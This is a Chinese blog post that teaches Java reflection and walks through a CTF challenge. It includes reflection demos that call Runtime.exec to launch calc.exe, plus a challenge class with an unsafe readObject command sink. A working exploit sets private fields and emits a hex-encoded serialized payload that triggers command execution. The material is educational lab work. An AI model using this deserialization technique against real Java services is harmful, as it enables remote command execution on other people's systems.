初探Java Reflection

OneZ3r0 Lv3

前言

从去年九月招新赛看见的Java反射调用,到现在3月,当初看Java感觉真是又臭又长啊,看不下去……但花费一个更广的时间尺度来去慢慢熟悉Java这门语言还是有效果的,现在也总算是能看点Java了T T,idea也是一点点摸着用,先从Reflection开始吧:)
[参考文章] JAVA安全基础(二)– 反射机制

前置知识

首先要明白为什么要反射调用?——因为我们需要在程序运行时期,能够动态地去改变原来静态编译好(无法修改)的对象。
通常我们使用的方法是

1
2
3
4
5
6
通过类名的.class属性/实例化对象的getClass()方法/Class.forName()方法——获取类对象
通过java.lang.reflect.Field(类的属性对象)——获取成员变量
通过java.lang.reflect.Method(类的方法对象)——获取类中的方法
通过java.lang.reflect.Constructor(类的构造器对象)获取类的构造器
使用newInstance实例化class对象
使用getMethod获取函数,invoke执行函数

然后这里是一个利用Reflection弹计算器的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com;

import java.lang.reflect.Method;

public class ReflectRuntime {
public static void main(String[] args) {
try {
// 加载 Runtime 类
Class<?> c1 = Class.forName("java.lang.Runtime");
// 获取 getRuntime() 方法
Method getRuntimeMethod = c1.getMethod("getRuntime");
// 获取 exec() 方法(更规范的参数类型声明)
Method execMethod = c1.getMethod("exec", String.class);
// 调用静态方法获取 Runtime 实例
Object runtimeInstance = getRuntimeMethod.invoke(c1);
// 执行计算器命令
execMethod.invoke(runtimeInstance, "calc.exe");
}catch (Exception e) {
System.err.println("异常: " + e.getMessage());
}
}
}

简化一下就是我们常见的payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
package com;

public class Payload {
public static void main(String[] args) {
try {
// 这里我们虽然成功执行方法弹出计算器,但仅仅只是调用其方法去实现的,实际上我们并没有创建出一个Runtime实例对象,只是用Runtime类在操作
Class c1 = Class.forName("java.lang.Runtime");
c1.getMethod("exec", String.class).invoke(c1.getMethod("getRuntime").invoke(c1), "calc.exe");
} catch (Exception e) {
System.err.println(e.getMessage());
}
}
}

上面这种方法使用十分受限,尤其是对于私有属性和方法是束手无策的。

所以我们需要利用java.lang.reflect.Constructor(类的构造器对象)来操作,创建一个实例对象,并设置setAccessible(true),这样我们就有了payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com;

import java.lang.reflect.Constructor;

public class Payload2 {
/* 如果你在 Java 9+ 且必须反射调用构造函数,可以通过以下步骤:
添加 JVM 参数:在启动时添加参数,强制开放 java.lang 包:
--add-opens java.base/java.lang=ALL-UNNAMED */
public static void main(String[] args) throws Exception {
Class c1= Class.forName("java.lang.Runtime");
Constructor m = c1.getDeclaredConstructor();
m.setAccessible(true);
c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
}
}

与反序列化的关系

Java反序列化时,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞,我们通常会通过反射调用去绕过对我们的waf。或者如果我们在进行反序列化过程中可控的话,能够加载我们使用反射调用的恶意命令语句的话,则能够成功进行命令执行。

一道题目

[TSCTF-J2024] 瑞福莱克珅

完成此题需要:
1.Java编程基础和Java Web环境(java版本是java8)
2.能够编写简单的反射操作以修改成员属性
3.基础的Java序列化操作知识

好一个瑞弗莱克珅(Reflection)现在才知道
题目给了一个jar包,我们用idea打开进行反编译,并自己新建一个maven项目,把相关的内容的复制到我们的项目中,同时配置好pom.xml就可以本地调试了

IndexController里面的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String BUPT = objectInputStream.readUTF();
String merak = objectInputStream.readUTF();
if (BUPT.equals("BUPT") && merak.equals("merak")) {
objectInputStream.readObject(); // 反序列化sink
}

return "index";
}

分为以下三步

  1. hexStringToBytes->BIAS->IS->OIS
  2. readUTF==BUPT,readUTF==merak
  3. readObject

Calc中的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Calc implements Serializable {
private boolean hasPermission = false;
private String cmd = "calc";

public Calc() {
}

private void readObject(ObjectInputStream objectInputStream) throws Exception {
objectInputStream.defaultReadObject();
if (this.hasPermission) {
Runtime.getRuntime().exec(this.cmd);
}

}
}

步骤如下

  1. ois.defaultReadObject
  2. Calc.hasPermission==true?
  3. exec(Calc.cmd)

所以我们就按顺序逆着来就好了

  1. Calc.cmd=”rce”,Calc.hasPermission=true
  2. writeUTF=BUPT,writeUTF=merak
  3. writeObject
  4. OOS->BAOS->toByteArray->bytesTohexString

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.avasec;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
// 为什么这里可以不用forName动态加载呢?
// --因为Calc是可以被序列化的,它继承了implements Serializable!
Calc sink = new Calc();
Class c1 = sink.getClass();
// System.out.println(c1.getName());
// 获取成员变量
Field f1 = c1.getDeclaredField("cmd");
Field f2 = c1.getDeclaredField("hasPermission");

// 设置访问权限
f1.setAccessible(true);
f2.setAccessible(true);

// 修改
f1.set(sink, "calc.exe");
f2.set(sink, true);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);

oos.writeUTF("BUPT");
oos.writeUTF("merak");
oos.writeObject(sink);
oos.close();

System.out.println(Utils.bytesTohexString(baos.toByteArray()));
}
}

复现成功!

image-20250308162752091
image-20250308162752091

[参考文章] DoubleLi学长的TSCTF-J2024 WP

  • 标题: 初探Java Reflection
  • 作者: OneZ3r0
  • 创建于 : 2025-03-08 14:06:38
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/03/08/java-reflection/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。